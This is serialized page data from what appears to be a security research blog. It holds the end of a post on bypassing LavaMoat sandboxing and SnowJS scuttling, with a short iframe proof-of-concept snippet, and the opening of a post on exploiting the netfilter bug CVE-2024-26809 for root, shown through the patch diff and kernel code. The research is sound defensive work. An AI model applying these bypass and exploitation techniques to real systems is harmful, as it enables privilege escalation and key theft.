srcdoc=\"aaa\">');\ndocument.getElementsByTagName('iframe')[0].contentWindow.alert(document.domain);\n",[53282],{"type":24,"tag":156,"props":53283,"children":53284},{"__ignoreMap":7},[53285,53321,53358,53401],{"type":24,"tag":930,"props":53286,"children":53287},{"class":932,"line":933},[53288,53292,53296,53300,53304,53308,53312,53317],{"type":24,"tag":930,"props":53289,"children":53290},{"style":1023},[53291],{"type":30,"value":35795},{"type":24,"tag":930,"props":53293,"children":53294},{"style":959},[53295],{"type":30,"value":436},{"type":24,"tag":930,"props":53297,"children":53298},{"style":1023},[53299],{"type":30,"value":35488},{"type":24,"tag":930,"props":53301,"children":53302},{"style":959},[53303],{"type":30,"value":436},{"type":24,"tag":930,"props":53305,"children":53306},{"style":1023},[53307],{"type":30,"value":38061},{"type":24,"tag":930,"props":53309,"children":53310},{"style":1158},[53311],{"type":30,"value":6137},{"type":24,"tag":930,"props":53313,"children":53314},{"style":1270},[53315],{"type":30,"value":53316}," \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\"",{"type":24,"tag":930,"props":53318,"children":53319},{"style":959},[53320],{"type":30,"value":5539},{"type":24,"tag":930,"props":53322,"children":53323},{"class":932,"line":984},[53324,53328,53332,53336,53340,53345,53349,53354],{"type":24,"tag":930,"props":53325,"children":53326},{"style":1023},[53327],{"type":30,"value":35795},{"type":24,"tag":930,"props":53329,"children":53330},{"style":959},[53331],{"type":30,"value":436},{"type":24,"tag":930,"props":53333,"children":53334},{"style":1002},[53335],{"type":30,"value":38086},{"type":24,"tag":930,"props":53337,"children":53338},{"style":959},[53339],{"type":30,"value":1010},{"type":24,"tag":930,"props":53341,"children":53342},{"style":1270},[53343],{"type":30,"value":53344},"'test'",{"type":24,"tag":930,"props":53346,"children":53347},{"style":959},[53348],{"type":30,"value":2716},{"type":24,"tag":930,"props":53350,"children":53351},{"style":1002},[53352],{"type":30,"value":53353},"focus",{"type":24,"tag":930,"props":53355,"children":53356},{"style":959},[53357],{"type":30,"value":1310},{"type":24,"tag":930,"props":53359,"children":53360},{"class":932,"line":993},[53361,53365,53369,53373,53377,53381,53385,53389,53393,53397],{"type":24,"tag":930,"props":53362,"children":53363},{"style":1023},[53364],{"type":30,"value":35795},{"type":24,"tag":930,"props":53366,"children":53367},{"style":959},[53368],{"type":30,"value":436},{"type":24,"tag":930,"props":53370,"children":53371},{"style":1002},[53372],{"type":30,"value":53206},{"type":24,"tag":930,"props":53374,"children":53375},{"style":959},[53376],{"type":30,"value":1010},{"type":24,"tag":930,"props":53378,"children":53379},{"style":1270},[53380],{"type":30,"value":53215},{"type":24,"tag":930,"props":53382,"children":53383},{"style":959},[53384],{"type":30,"value":962},{"type":24,"tag":930,"props":53386,"children":53387},{"style":937},[53388],{"type":30,"value":1790},{"type":24,"tag":930,"props":53390,"children":53391},{"style":959},[53392],{"type":30,"value":962},{"type":24,"tag":930,"props":53394,"children":53395},{"style":1270},[53396],{"type":30,"value":53232},{"type":24,"tag":930,"props":53398,"children":53399},{"style":959},[53400],{"type":30,"value":1278},{"type":24,"tag":930,"props":53402,"children":53403},{"class":932,"line":1057},[53404,53408,53412,53417,53421,53425,53430,53434,53439,53444,53448,53452,53456,53460,53464,53468],{"type":24,"tag":930,"props":53405,"children":53406},{"style":1023},[53407],{"type":30,"value":35795},{"type":24,"tag":930,"props":53409,"children":53410},{"style":959},[53411],{"type":30,"value":436},{"type":24,"tag":930,"props":53413,"children":53414},{"style":1002},[53415],{"type":30,"value":53416},"getElementsByTagName",{"type":24,"tag":930,"props":53418,"children":53419},{"style":959},[53420],{"type":30,"value":1010},{"type":24,"tag":930,"props":53422,"children":53423},{"style":1270},[53424],{"type":30,"value":39818},{"type":24,"tag":930,"props":53426,"children":53427},{"style":959},[53428],{"type":30,"value":53429},")[",{"type":24,"tag":930,"props":53431,"children":53432},{"style":1242},[53433],{"type":30,"value":1818},{"type":24,"tag":930,"props":53435,"children":53436},{"style":959},[53437],{"type":30,"value":53438},"].",{"type":24,"tag":930,"props":53440,"children":53441},{"style":1023},[53442],{"type":30,"value":53443},"contentWindow",{"type":24,"tag":930,"props":53445,"children":53446},{"style":959},[53447],{"type":30,"value":436},{"type":24,"tag":930,"props":53449,"children":53450},{"style":1002},[53451],{"type":30,"value":35785},{"type":24,"tag":930,"props":53453,"children":53454},{"style":959},[53455],{"type":30,"value":1010},{"type":24,"tag":930,"props":53457,"children":53458},{"style":1023},[53459],{"type":30,"value":35795},{"type":24,"tag":930,"props":53461,"children":53462},{"style":959},[53463],{"type":30,"value":436},{"type":24,"tag":930,"props":53465,"children":53466},{"style":1023},[53467],{"type":30,"value":35805},{"type":24,"tag":930,"props":53469,"children":53470},{"style":959},[53471],{"type":30,"value":1278},{"type":24,"tag":151,"props":53473,"children":53475},{"id":53474},"snowjs-patch",[53476],{"type":30,"value":53477},"SnowJS Patch",{"type":24,"tag":33,"props":53479,"children":53480},{},[53481,53483,53490,53492,53499],{"type":30,"value":53482},"Metamask is working on conceptual changes and aiming to integrate SnowJS as a ",{"type":24,"tag":37,"props":53484,"children":53487},{"href":53485,"rel":53486},"https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html#talk",[41],[53488],{"type":30,"value":53489},"browser feature within W3C standards",{"type":30,"value":53491},", with the intention of addressing not only this issue, but also all other well-known issues with SnowJS. ",{"type":24,"tag":37,"props":53493,"children":53496},{"href":53494,"rel":53495},"https://github.com/weizman/Realms-Initialization-Control",[41],[53497],{"type":30,"value":53498},"Here",{"type":30,"value":53500}," is their new proposal.",{"type":24,"tag":68,"props":53502,"children":53504},{"id":53503},"chaining-the-impacts",[53505],{"type":30,"value":53506},"Chaining The Impacts",{"type":24,"tag":33,"props":53508,"children":53509},{},[53510],{"type":30,"value":53511},"We were able to find two vulnerabilities in lavamoat project:",{"type":24,"tag":478,"props":53513,"children":53514},{},[53515,53520],{"type":24,"tag":100,"props":53516,"children":53517},{},[53518],{"type":30,"value":53519},"Policy File Bypass",{"type":24,"tag":100,"props":53521,"children":53522},{},[53523],{"type":30,"value":53524},"Scuttling Bypass",{"type":24,"tag":33,"props":53526,"children":53527},{},[53528],{"type":30,"value":53529},"By combining the exploits, it is possible to completely bypass lavamoat supply-chain protections using a compromised dependency.",{"type":24,"tag":33,"props":53531,"children":53532},{},[53533],{"type":30,"value":53534},"Using Metamask as an example, these exploits could be used to retrieve the encrypted keypair in extension storage. The only precondition would be compromising a NPM dependency.",{"type":24,"tag":68,"props":53536,"children":53537},{"id":5876},[53538],{"type":30,"value":5879},{"type":24,"tag":33,"props":53540,"children":53541},{},[53542],{"type":30,"value":53543},"The vulnerability within the Lavapack module sandboxing, along with the issues we discussed regarding SnowJs and the Scuttling feature, illustrate the complexities of mitigating supply chain attacks within the JavaScript ecosystem. While the lavapack release with a mitigation was available in under two days, the inherent complexity makes designing robust security implementations a challenging task.",{"type":24,"tag":34438,"props":53545,"children":53546},{"style":34440},[53547],{"type":24,"tag":140,"props":53548,"children":53551},{"src":53549,"alt":53550,"style":34446},"/posts/supply-chain-attacks-a-new-era/hello-otter.gif","Hello Otetr",[],{"type":24,"tag":21523,"props":53553,"children":53555},{"className":53554,"dataFootnotes":7},[21526],[53556,53561],{"type":24,"tag":68,"props":53557,"children":53559},{"className":53558,"id":18584},[21531],[53560],{"type":30,"value":21534},{"type":24,"tag":478,"props":53562,"children":53563},{},[53564],{"type":24,"tag":100,"props":53565,"children":53566},{"id":33457},[53567,53569,53576,53577],{"type":30,"value":53568},"Excluding SES, which was covered ",{"type":24,"tag":37,"props":53570,"children":53573},{"href":53571,"rel":53572},"https://osec.io/blog/2023-11-01-metamask-snaps",[41],[53574],{"type":30,"value":53575},"in our last article",{"type":30,"value":510},{"type":24,"tag":37,"props":53578,"children":53580},{"href":33485,"ariaLabel":21637,"className":53579,"dataFootnoteBackref":7},[21639],[53581],{"type":30,"value":21642},{"type":24,"tag":5957,"props":53583,"children":53584},{},[53585],{"type":30,"value":5961},{"title":7,"searchDepth":984,"depth":984,"links":53587},[53588,53592,53598,53604,53605,53606],{"id":22058,"depth":984,"text":22061,"children":53589},[53590,53591],{"id":27,"depth":993,"text":31},{"id":50210,"depth":993,"text":50213},{"id":50966,"depth":984,"text":50969,"children":53593},[53594,53595,53596,53597],{"id":51217,"depth":993,"text":51220},{"id":51691,"depth":993,"text":51694},{"id":52348,"depth":993,"text":52351},{"id":52471,"depth":993,"text":52474},{"id":52589,"depth":984,"text":52592,"children":53599},[53600,53601,53602,53603],{"id":52717,"depth":993,"text":52720},{"id":53079,"depth":993,"text":53082},{"id":53239,"depth":993,"text":53242},{"id":53474,"depth":993,"text":53477},{"id":53503,"depth":984,"text":53506},{"id":5876,"depth":984,"text":5879},{"id":18584,"depth":984,"text":21534},"content:blog:2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era",{"_path":53611,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":53612,"description":53613,"author":53614,"image":53615,"date":53617,"isFeatured":16,"tags":53618,"onBlogPage":16,"body":53621,"_type":5983,"_id":63997,"_source":5985,"_file":63998,"_stem":63999,"_extension":5988},"/blog/2024-11-25-netfilter-universal-root-1-day","OtterRoot: Netfilter Universal Root 1-day","A peek into the state of Linux kernel security and the open-source patch-gap. We explore how we monitored commits to find new bug fixes and achieved 0day-like capabilities by exploiting a 1-day vulnerability.","pedro",{"src":53616,"height":12373,"width":8836},"/posts/netfilter-universal-root-1-day/cover.png","2024-11-25",[53619,53620],"kernal","linux",{"type":21,"children":53622,"toc":63965},[53623,53636,53650,53655,53661,53670,53675,53681,53686,53704,53718,53727,53760,53765,53771,53790,53823,53829,53842,54052,54119,54683,54702,54927,54986,54992,55012,55052,55240,55245,55396,55452,55457,55971,55990,56259,56285,56794,56861,56867,56903,56908,57174,57207,57219,57246,57258,57263,57269,57290,57296,57317,57340,58172,58178,58218,58758,58769,58803,58870,58924,59156,59162,59206,59670,59676,59687,59717,59800,59805,59810,59846,59897,59928,60483,60489,60506,60512,60517,60523,60551,60744,60764,60780,61375,61381,61416,61439,61451,61457,61485,62080,62105,63074,63085,63098,63111,63876,63890,63896,63908,63914,63942,63947,63951,63956,63961],{"type":24,"tag":33,"props":53624,"children":53625},{},[53626,53628,53635],{"type":30,"value":53627},"In late March, I attempted to monitor commits in Linux kernel subsystems that are hotspots for exploitable bugs, partially as an experiment to study how feasible it is to maintain LPE/container escape capabilities by patch-gapping/cycling 1-days, but also to submit to the ",{"type":24,"tag":37,"props":53629,"children":53632},{"href":53630,"rel":53631},"https://google.github.io/security-research/kernelctf/rules.html",[41],[53633],{"type":30,"value":53634},"KernelCTF VRP",{"type":30,"value":436},{"type":24,"tag":33,"props":53637,"children":53638},{},[53639,53641,53648],{"type":30,"value":53640},"During the research, I quickly came across an exploitable bug fixed in netfilter, which was labeled CVE-2024-26809 (originally discovered by ",{"type":24,"tag":37,"props":53642,"children":53645},{"href":53643,"rel":53644},"https://github.com/conlonialC",[41],[53646],{"type":30,"value":53647},"lonial con",{"type":30,"value":53649},") and was able to exploit it in the KernelCTF LTS instance and write a universal exploit that runs across different kernel builds without the need to recompile with different symbols or ROP gadgets.",{"type":24,"tag":33,"props":53651,"children":53652},{},[53653],{"type":30,"value":53654},"In this post, I'll discuss how I exploited a 1day to obtain 0day-like LPE/container escape capabilities for around two months by quickly abusing the patch-gap to write an exploit before the fix could go downstream. I'll also share my journey analyzing the patch to understand the bug, isolate the commit(s) that introduced it, exploit it in the KernelCTF VRP, and, finally, how I developed a universal exploit to target mainstream distros.",{"type":24,"tag":68,"props":53656,"children":53658},{"id":53657},"the-kernel",[53659],{"type":30,"value":53660},"The kernel",{"type":24,"tag":33,"props":53662,"children":53663},{},[53664,53666],{"type":30,"value":53665},"The kernel lies at the very core of an OS; its purpose is not to be a regular application but to create a platform that applications can run on top of. The kernel touches hardware directly to implement everything you can expect from your OS, such as user isolation and permissions, networking, filesystem access, memory management, task scheduling, etc.\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀",{"type":24,"tag":140,"props":53667,"children":53669},{"alt":142,"src":53668},"/posts/netfilter-universal-root-1-day/kernal.png",[],{"type":24,"tag":33,"props":53671,"children":53672},{},[53673],{"type":30,"value":53674},"The kernel exposes an interface that user applications can use to request things they can't do directly (e.g. map some memory to my process' virtual address space, expose some file to my process, open a network socket, etc.). This is called the syscall interface, the main form of passing data from userspace to kernelspace.",{"type":24,"tag":151,"props":53676,"children":53678},{"id":53677},"kernel-exploitation",[53679],{"type":30,"value":53680},"Kernel exploitation",{"type":24,"tag":33,"props":53682,"children":53683},{},[53684],{"type":30,"value":53685},"As the kernel processes requests passed by user applications, it is subject to bugs and security vulnerabilities just as any code would, ranging from logic issues to memory corruptions that attackers can use to hijack the execution in kernel context or escalate privileges in some other way. With that in mind, we can expect the typical kernel exploit to look like this:",{"type":24,"tag":96,"props":53687,"children":53688},{},[53689,53694,53699],{"type":24,"tag":100,"props":53690,"children":53691},{},[53692],{"type":30,"value":53693},"Trigger some memory corruption in some kernel subsystem",{"type":24,"tag":100,"props":53695,"children":53696},{},[53697],{"type":30,"value":53698},"Use it to acquire some stronger primitive (Control-flow, Arb R/W, etc.)",{"type":24,"tag":100,"props":53700,"children":53701},{},[53702],{"type":30,"value":53703},"Use your current primitive to escalate your privileges (usually by changing the creds of your process or something with similar consequences)",{"type":24,"tag":33,"props":53705,"children":53706},{},[53707,53709,53716],{"type":30,"value":53708},"I strongly recommend reading Lkmidas' Intro to Kernel Exploitation ",{"type":24,"tag":37,"props":53710,"children":53713},{"href":53711,"rel":53712},"https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/",[41],[53714],{"type":30,"value":53715},"blog post",{"type":30,"value":53717}," to become more familiar with the topic.",{"type":24,"tag":68,"props":53719,"children":53721},{"id":53720},"nf_tables",[53722],{"type":24,"tag":156,"props":53723,"children":53725},{"className":53724},[],[53726],{"type":30,"value":53720},{"type":24,"tag":33,"props":53728,"children":53729},{},[53730,53735,53737,53743,53744,53750,53752,53758],{"type":24,"tag":156,"props":53731,"children":53733},{"className":53732},[],[53734],{"type":30,"value":53720},{"type":30,"value":53736}," is a component of the netfilter subsystem of the Linux kernel. It is a package filtering mechanism, and it's the current backend used by tools like iptables and Firewalld. Its internals have been thoroughly discussed by other researchers ",{"type":24,"tag":37,"props":53738,"children":53741},{"href":53739,"rel":53740},"https://pwning.tech/nftables",[41],[53742],{"type":30,"value":7129},{"type":30,"value":962},{"type":24,"tag":37,"props":53745,"children":53748},{"href":53746,"rel":53747},"https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation",[41],[53749],{"type":30,"value":6244},{"type":30,"value":53751},". I recommend reading those briefly to understand the hierarchical structure of ",{"type":24,"tag":156,"props":53753,"children":53755},{"className":53754},[],[53756],{"type":30,"value":53757},"nf_table",{"type":30,"value":53759}," objects and how we can manipulate them to create configurable filtering mechanisms.",{"type":24,"tag":33,"props":53761,"children":53762},{},[53763],{"type":30,"value":53764},"For the sake of this blog post I'll omit any details that are not directly related to the vulnerability.",{"type":24,"tag":151,"props":53766,"children":53768},{"id":53767},"transactions",[53769],{"type":30,"value":53770},"Transactions",{"type":24,"tag":33,"props":53772,"children":53773},{},[53774,53776,53781,53783,53788],{"type":30,"value":53775},"A transaction is an interaction that updates ",{"type":24,"tag":156,"props":53777,"children":53779},{"className":53778},[],[53780],{"type":30,"value":53720},{"type":30,"value":53782}," objects/state. It's roughly composed of a batch of operations that modify some ",{"type":24,"tag":156,"props":53784,"children":53786},{"className":53785},[],[53787],{"type":30,"value":53720},{"type":30,"value":53789}," object (adding/removing/editing tables, sets, elements, objects, etc). They are roughly composed of 3 different passes:",{"type":24,"tag":96,"props":53791,"children":53792},{},[53793,53803,53813],{"type":24,"tag":100,"props":53794,"children":53795},{},[53796,53801],{"type":24,"tag":275,"props":53797,"children":53798},{},[53799],{"type":30,"value":53800},"Control plane",{"type":30,"value":53802},"\nPrepare each operation, and if some fail, abort the whole batch; otherwise, commit the entire batch.",{"type":24,"tag":100,"props":53804,"children":53805},{},[53806,53811],{"type":24,"tag":275,"props":53807,"children":53808},{},[53809],{"type":30,"value":53810},"Commit path",{"type":30,"value":53812},"\nAfter the control plane, if all succeed, we apply the changes (effectively modify tables, sets, etc.).",{"type":24,"tag":100,"props":53814,"children":53815},{},[53816,53821],{"type":24,"tag":275,"props":53817,"children":53818},{},[53819],{"type":30,"value":53820},"Abort path",{"type":30,"value":53822},"\nOnly triggered when some error condition is detected in the control plane; undo actions done during the control plane and skip commitment.",{"type":24,"tag":68,"props":53824,"children":53826},{"id":53825},"vulnerability-details",[53827],{"type":30,"value":53828},"Vulnerability details",{"type":24,"tag":33,"props":53830,"children":53831},{},[53832,53834,53840],{"type":30,"value":53833},"Moving on, let's check out the ",{"type":24,"tag":37,"props":53835,"children":53838},{"href":53836,"rel":53837},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee",[41],[53839],{"type":30,"value":7343},{"type":30,"value":53841}," that fixed the bug.",{"type":24,"tag":920,"props":53843,"children":53845},{"className":43448,"code":53844,"language":43450,"meta":7,"style":7},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\nindex c0ceea068936a6..df8de509024637 100644\n--- a/net/netfilter/nft_set_pipapo.c\n+++ b/net/netfilter/nft_set_pipapo.c\n@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n\n        m = rcu_dereference_protected(priv->match, true);\n\n  if (m) {\n   rcu_barrier();\n \n-  nft_set_pipapo_match_destroy(ctx, set, m);\n-\n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(m, cpu);\n   free_percpu(m->scratch);\n@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n  if (priv->clone) {\n   m = priv->clone;\n \n-  if (priv->dirty)\n-   nft_set_pipapo_match_destroy(ctx, set, m);\n+  nft_set_pipapo_match_destroy(ctx, set, m);\n \n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(priv->clone, cpu);\n",[53846],{"type":24,"tag":156,"props":53847,"children":53848},{"__ignoreMap":7},[53849,53857,53865,53873,53881,53889,53896,53904,53911,53919,53927,53935,53943,53951,53959,53967,53975,53983,53991,53999,54006,54014,54022,54030,54037,54044],{"type":24,"tag":930,"props":53850,"children":53851},{"class":932,"line":933},[53852],{"type":24,"tag":930,"props":53853,"children":53854},{"style":937},[53855],{"type":30,"value":53856},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\n",{"type":24,"tag":930,"props":53858,"children":53859},{"class":932,"line":984},[53860],{"type":24,"tag":930,"props":53861,"children":53862},{"style":959},[53863],{"type":30,"value":53864},"index c0ceea068936a6..df8de509024637 100644\n",{"type":24,"tag":930,"props":53866,"children":53867},{"class":932,"line":993},[53868],{"type":24,"tag":930,"props":53869,"children":53870},{"style":937},[53871],{"type":30,"value":53872},"--- a/net/netfilter/nft_set_pipapo.c\n",{"type":24,"tag":930,"props":53874,"children":53875},{"class":932,"line":1057},[53876],{"type":24,"tag":930,"props":53877,"children":53878},{"style":937},[53879],{"type":30,"value":53880},"+++ b/net/netfilter/nft_set_pipapo.c\n",{"type":24,"tag":930,"props":53882,"children":53883},{"class":932,"line":1066},[53884],{"type":24,"tag":930,"props":53885,"children":53886},{"style":959},[53887],{"type":30,"value":53888},"@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":24,"tag":930,"props":53890,"children":53891},{"class":932,"line":1075},[53892],{"type":24,"tag":930,"props":53893,"children":53894},{"emptyLinePlaceholder":16},[53895],{"type":30,"value":2412},{"type":24,"tag":930,"props":53897,"children":53898},{"class":932,"line":1122},[53899],{"type":24,"tag":930,"props":53900,"children":53901},{"style":959},[53902],{"type":30,"value":53903},"        m = rcu_dereference_protected(priv->match, true);\n",{"type":24,"tag":930,"props":53905,"children":53906},{"class":932,"line":1131},[53907],{"type":24,"tag":930,"props":53908,"children":53909},{"emptyLinePlaceholder":16},[53910],{"type":30,"value":2412},{"type":24,"tag":930,"props":53912,"children":53913},{"class":932,"line":1144},[53914],{"type":24,"tag":930,"props":53915,"children":53916},{"style":959},[53917],{"type":30,"value":53918},"  if (m) {\n",{"type":24,"tag":930,"props":53920,"children":53921},{"class":932,"line":1169},[53922],{"type":24,"tag":930,"props":53923,"children":53924},{"style":959},[53925],{"type":30,"value":53926},"   rcu_barrier();\n",{"type":24,"tag":930,"props":53928,"children":53929},{"class":932,"line":1191},[53930],{"type":24,"tag":930,"props":53931,"children":53932},{"style":959},[53933],{"type":30,"value":53934}," \n",{"type":24,"tag":930,"props":53936,"children":53937},{"class":932,"line":1223},[53938],{"type":24,"tag":930,"props":53939,"children":53940},{"style":1270},[53941],{"type":30,"value":53942},"-  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":24,"tag":930,"props":53944,"children":53945},{"class":932,"line":1281},[53946],{"type":24,"tag":930,"props":53947,"children":53948},{"style":1270},[53949],{"type":30,"value":53950},"-\n",{"type":24,"tag":930,"props":53952,"children":53953},{"class":932,"line":1313},[53954],{"type":24,"tag":930,"props":53955,"children":53956},{"style":959},[53957],{"type":30,"value":53958},"   for_each_possible_cpu(cpu)\n",{"type":24,"tag":930,"props":53960,"children":53961},{"class":932,"line":1335},[53962],{"type":24,"tag":930,"props":53963,"children":53964},{"style":959},[53965],{"type":30,"value":53966},"    pipapo_free_scratch(m, cpu);\n",{"type":24,"tag":930,"props":53968,"children":53969},{"class":932,"line":1376},[53970],{"type":24,"tag":930,"props":53971,"children":53972},{"style":959},[53973],{"type":30,"value":53974},"   free_percpu(m->scratch);\n",{"type":24,"tag":930,"props":53976,"children":53977},{"class":932,"line":1418},[53978],{"type":24,"tag":930,"props":53979,"children":53980},{"style":959},[53981],{"type":30,"value":53982},"@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":24,"tag":930,"props":53984,"children":53985},{"class":932,"line":1438},[53986],{"type":24,"tag":930,"props":53987,"children":53988},{"style":959},[53989],{"type":30,"value":53990},"  if (priv->clone) {\n",{"type":24,"tag":930,"props":53992,"children":53993},{"class":932,"line":1479},[53994],{"type":24,"tag":930,"props":53995,"children":53996},{"style":959},[53997],{"type":30,"value":53998},"   m = priv->clone;\n",{"type":24,"tag":930,"props":54000,"children":54001},{"class":932,"line":1506},[54002],{"type":24,"tag":930,"props":54003,"children":54004},{"style":959},[54005],{"type":30,"value":53934},{"type":24,"tag":930,"props":54007,"children":54008},{"class":932,"line":1525},[54009],{"type":24,"tag":930,"props":54010,"children":54011},{"style":1270},[54012],{"type":30,"value":54013},"-  if (priv->dirty)\n",{"type":24,"tag":930,"props":54015,"children":54016},{"class":932,"line":1569},[54017],{"type":24,"tag":930,"props":54018,"children":54019},{"style":1270},[54020],{"type":30,"value":54021},"-   nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":24,"tag":930,"props":54023,"children":54024},{"class":932,"line":1592},[54025],{"type":24,"tag":930,"props":54026,"children":54027},{"style":1242},[54028],{"type":30,"value":54029},"+  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":24,"tag":930,"props":54031,"children":54032},{"class":932,"line":1610},[54033],{"type":24,"tag":930,"props":54034,"children":54035},{"style":959},[54036],{"type":30,"value":53934},{"type":24,"tag":930,"props":54038,"children":54039},{"class":932,"line":1628},[54040],{"type":24,"tag":930,"props":54041,"children":54042},{"style":959},[54043],{"type":30,"value":53958},{"type":24,"tag":930,"props":54045,"children":54046},{"class":932,"line":1637},[54047],{"type":24,"tag":930,"props":54048,"children":54049},{"style":959},[54050],{"type":30,"value":54051},"    pipapo_free_scratch(priv->clone, cpu);\n",{"type":24,"tag":33,"props":54053,"children":54054},{},[54055,54057,54063,54064,54070,54072,54078,54080,54086,54088,54093,54095,54101,54103,54109,54111,54117],{"type":30,"value":54056},"If the ",{"type":24,"tag":156,"props":54058,"children":54060},{"className":54059},[],[54061],{"type":30,"value":54062},"priv->dirty",{"type":30,"value":211},{"type":24,"tag":156,"props":54065,"children":54067},{"className":54066},[],[54068],{"type":30,"value":54069},"priv->clone",{"type":30,"value":54071}," variables are set, ",{"type":24,"tag":156,"props":54073,"children":54075},{"className":54074},[],[54076],{"type":30,"value":54077},"nft_set_pipapo_match_destroy()",{"type":30,"value":54079}," is called twice, once with ",{"type":24,"tag":156,"props":54081,"children":54083},{"className":54082},[],[54084],{"type":30,"value":54085},"priv->match",{"type":30,"value":54087}," as an argument, and then again with ",{"type":24,"tag":156,"props":54089,"children":54091},{"className":54090},[],[54092],{"type":30,"value":54069},{"type":30,"value":54094},". Looking at what this function does, we can see that it is iterating over the ",{"type":24,"tag":156,"props":54096,"children":54098},{"className":54097},[],[54099],{"type":30,"value":54100},"setelem",{"type":30,"value":54102},"s of the ",{"type":24,"tag":156,"props":54104,"children":54106},{"className":54105},[],[54107],{"type":30,"value":54108},"set",{"type":30,"value":54110}," and calling ",{"type":24,"tag":156,"props":54112,"children":54114},{"className":54113},[],[54115],{"type":30,"value":54116},"nf_tables_set_elem_destroy()",{"type":30,"value":54118}," for each of them.",{"type":24,"tag":920,"props":54120,"children":54122},{"className":19616,"code":54121,"language":6268,"meta":7,"style":7},"static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,\n      const struct nft_set *set,\n      struct nft_pipapo_match *m)\n{\n struct nft_pipapo_field *f;\n int i, r;\n\n for (i = 0, f = m->f; i \u003C m->field_count - 1; i++, f++)\n  ;\n\n for (r = 0; r \u003C f->rules; r++) {\n  struct nft_pipapo_elem *e;\n\n  if (r \u003C f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)\n   continue;\n\n  e = f->mt[r].e;\n\n  nf_tables_set_elem_destroy(ctx, set, &e->priv);\n }\n}\n",[54123],{"type":24,"tag":156,"props":54124,"children":54125},{"__ignoreMap":7},[54126,54173,54201,54227,54234,54255,54268,54275,54372,54380,54387,54442,54463,54470,54573,54585,54592,54628,54635,54669,54676],{"type":24,"tag":930,"props":54127,"children":54128},{"class":932,"line":933},[54129,54134,54139,54144,54148,54152,54156,54161,54165,54169],{"type":24,"tag":930,"props":54130,"children":54131},{"style":937},[54132],{"type":30,"value":54133},"static",{"type":24,"tag":930,"props":54135,"children":54136},{"style":937},[54137],{"type":30,"value":54138}," void",{"type":24,"tag":930,"props":54140,"children":54141},{"style":1002},[54142],{"type":30,"value":54143}," nft_set_pipapo_match_destroy",{"type":24,"tag":930,"props":54145,"children":54146},{"style":959},[54147],{"type":30,"value":1010},{"type":24,"tag":930,"props":54149,"children":54150},{"style":937},[54151],{"type":30,"value":12762},{"type":24,"tag":930,"props":54153,"children":54154},{"style":937},[54155],{"type":30,"value":24253},{"type":24,"tag":930,"props":54157,"children":54158},{"style":959},[54159],{"type":30,"value":54160}," nft_ctx ",{"type":24,"tag":930,"props":54162,"children":54163},{"style":1158},[54164],{"type":30,"value":1410},{"type":24,"tag":930,"props":54166,"children":54167},{"style":1023},[54168],{"type":30,"value":23384},{"type":24,"tag":930,"props":54170,"children":54171},{"style":959},[54172],{"type":30,"value":2832},{"type":24,"tag":930,"props":54174,"children":54175},{"class":932,"line":984},[54176,54180,54184,54189,54193,54197],{"type":24,"tag":930,"props":54177,"children":54178},{"style":937},[54179],{"type":30,"value":34639},{"type":24,"tag":930,"props":54181,"children":54182},{"style":937},[54183],{"type":30,"value":24253},{"type":24,"tag":930,"props":54185,"children":54186},{"style":959},[54187],{"type":30,"value":54188}," nft_set ",{"type":24,"tag":930,"props":54190,"children":54191},{"style":1158},[54192],{"type":30,"value":1410},{"type":24,"tag":930,"props":54194,"children":54195},{"style":1023},[54196],{"type":30,"value":54108},{"type":24,"tag":930,"props":54198,"children":54199},{"style":959},[54200],{"type":30,"value":2832},{"type":24,"tag":930,"props":54202,"children":54203},{"class":932,"line":993},[54204,54209,54214,54218,54223],{"type":24,"tag":930,"props":54205,"children":54206},{"style":937},[54207],{"type":30,"value":54208},"      struct",{"type":24,"tag":930,"props":54210,"children":54211},{"style":959},[54212],{"type":30,"value":54213}," nft_pipapo_match ",{"type":24,"tag":930,"props":54215,"children":54216},{"style":1158},[54217],{"type":30,"value":1410},{"type":24,"tag":930,"props":54219,"children":54220},{"style":1023},[54221],{"type":30,"value":54222},"m",{"type":24,"tag":930,"props":54224,"children":54225},{"style":959},[54226],{"type":30,"value":1054},{"type":24,"tag":930,"props":54228,"children":54229},{"class":932,"line":1057},[54230],{"type":24,"tag":930,"props":54231,"children":54232},{"style":959},[54233],{"type":30,"value":13987},{"type":24,"tag":930,"props":54235,"children":54236},{"class":932,"line":1066},[54237,54241,54246,54250],{"type":24,"tag":930,"props":54238,"children":54239},{"style":937},[54240],{"type":30,"value":24253},{"type":24,"tag":930,"props":54242,"children":54243},{"style":959},[54244],{"type":30,"value":54245}," nft_pipapo_field ",{"type":24,"tag":930,"props":54247,"children":54248},{"style":1158},[54249],{"type":30,"value":1410},{"type":24,"tag":930,"props":54251,"children":54252},{"style":959},[54253],{"type":30,"value":54254},"f;\n",{"type":24,"tag":930,"props":54256,"children":54257},{"class":932,"line":1075},[54258,54263],{"type":24,"tag":930,"props":54259,"children":54260},{"style":937},[54261],{"type":30,"value":54262}," int",{"type":24,"tag":930,"props":54264,"children":54265},{"style":959},[54266],{"type":30,"value":54267}," i, 